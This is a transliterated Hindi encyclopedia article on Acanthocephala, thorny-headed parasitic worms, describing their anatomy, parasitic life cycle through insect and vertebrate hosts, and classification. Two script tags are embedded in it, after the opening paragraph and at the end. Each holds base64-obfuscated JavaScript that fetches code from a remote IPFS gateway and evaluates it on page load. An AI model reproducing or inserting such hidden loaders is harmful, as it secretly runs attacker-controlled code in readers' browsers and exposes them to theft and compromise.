कंटशुंडी
kantashuandi (akaanthosefala, Acanthocephala), ek prakar ki parashrayi athava paropajivi krimiyoan ki shreni hai, jo prishthavanshi praniyoan ki sabhi shreniyoan- stanapayiyoan, chi diyoan, uragamoan, meandhakoan aur machhaliyoan mean paee jati hai. is shreni ka yah nam isaki belanakar akriti tatha shirobhag mean mu de hue kaantoan ke karan p da hai. is shreni ka vargikaran vibhinn vaijnanikoan ne bhinn-bhinn prakar se kiya hai, kiantu sabase adhunik vargikaran 'haiman' ka hai. in krimiyoan ke sharir ka rang poshak ke bhojan ke rang par nirbhar rahata hai. gande bhoore rang se lekar chamakile rang tak ki kantashuandiyaan paee jati haian.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sharirik sanrachana
is krimi mean paye jane vale kaantean ise poshak ki aantr ki divar mean sthapit karane ka kam karate haian. is shreni mean krimiyoan mean mukh, guda tatha aantatr adi pachak avayavoan ka sarvatha abhav rahata hai. at: poshak se prapt atmasatkrit bhojan krimi ke sharir ki divar se vyapt hokar krimi ka poshan karata hai. bhinn-bhinn jatiyoan ki kantashuandiyoan ki lanbaee bhinn-bhinn hoti hai aur do milimitar se lekar 650 milimitar tak paee jati hai. kiantu pratyek jati ke nar tatha nari krimi ki lanbaee mean b da aantar rahata hai. sabhi jatiyoan ki kantashuandiyoan mean nari sarvada nar se adhik b di hoti hai. vibhinn jatiyoan ki akriti mean bhi b di bhinnata paee jati hai. kisi ka sharir lanba, dubala aur belanakar hota hai to kisi ka parshv se chipata, chhota aur sthool hota hai. sharir ki satah chikani ho sakati hai, kiantu pray: jhurridar hoti hai. maansapeshiyoan ke karan inamean phailane tatha siku dane ki vishesh kshamata hoti hai. sharir ka rang poshak ke bhojan ke rang par nirbhar rahata hai.[1]
aant:paropajivi
is shreni ka koee bhi sadasy svatantr jivan vyatit nahian karata. sabhi sadasy aant:paropajivi[2] hote haian aur pratyek sadasy apane jivan ki praranbhik avastha[3] sandhipad samuday ki kathini[4] shreni ke prani mean aur uttarardh avastha[5] kisi prishthavianshi prani mean vyatit karata hai. sabhi shreniyoan ke prishthavanshi in kantashuandiyoan ke poshak ho sakate haian; yadyapi pratyek jati kisi vishesh prishthavanshi mean hi paee jati haian.
jivanachakr
is shreni mean pariganit 300 jatiyoan ka namakaran ho chuka hai aur unamean se adhikaansh machhaliyoan, chi diyoan tatha stanapayiyoan mean paee jati haian. kantashuandi sansar ke sabhi bhoobhagoan mean paee jati hai. mukhy jati shalyatuand[6] va brihattuand[7] hai, jo sooaroan mean paee jati hai. isaki lanbaee ek gaj se bhi adhik tak ki hoti hai. yah apane poshak ki aantr ki divar se apane kaantoan dvara lataki rahati hai. jab isaka bhroon taiyar ho jata hai, tab yah poshak ke mal ke sath sharir se bahar chali ati hai. sooar ke mal ko jab ek vishesh prakar ka gubaraila khata hai, tab us gubaraile ke bhitar yah bhroon pahuanchakar larva mean vikasit ho jata hai. is prakar ke sankramit gubaraile ko jab sooar khata hai to dianbh pun: sooar ke aantr mean pahuanch jata hai, jahaan vah vayask ho jata hai. 'navashalyatud'[8] ek any udaharan hai. yah kantashuandi vayask avastha mean machhaliyoan tatha dianbhavastha mean prajalapaksh dianbhoan[9] mean paropajivi jivan vyatit karati hai.[1]
shreni
pahale kantashuandi sootrakrimi[10] samuday ki shreni mean gini jati thi, kiantu ab isaki ek alag shreni nirdharit ki ja chuki hai. is shreni ki vanshavali abhi anirnit hai. is shreni ka vargikaran vibhinn vaijnanikoan ne bhinn-bhinn prakar se kiya hai, kiantu sabase adhunik vargikaran 'haiman' ka hai. inhoanne sanpoorn shreni ko tin vargoan mean vibhakt kiya hai-
isi vargikaran ke mukhy adhar shuand[14] mean vartaman kaantoan ki sankhya tatha kuchh any visheshataean haian.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 kantashuandi (hindi). . abhigaman tithi: 10 mee, 2014.
- ↑ eandopairasait, endoparasite
- ↑ dianbhavastha arthath larval stej
- ↑ Crustacea
- ↑ vayask avastha arthath adult state
- ↑ Echinorhynchus
- ↑ Gigantorhynchus
- ↑ Neoechinorhynchus
- ↑ Sialis larvae
- ↑ Nemathelminthes
- ↑ Archinacanthocephala
- ↑ Palaeacanthocephala
- ↑ Coacanthocephala
- ↑ Proboscis
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>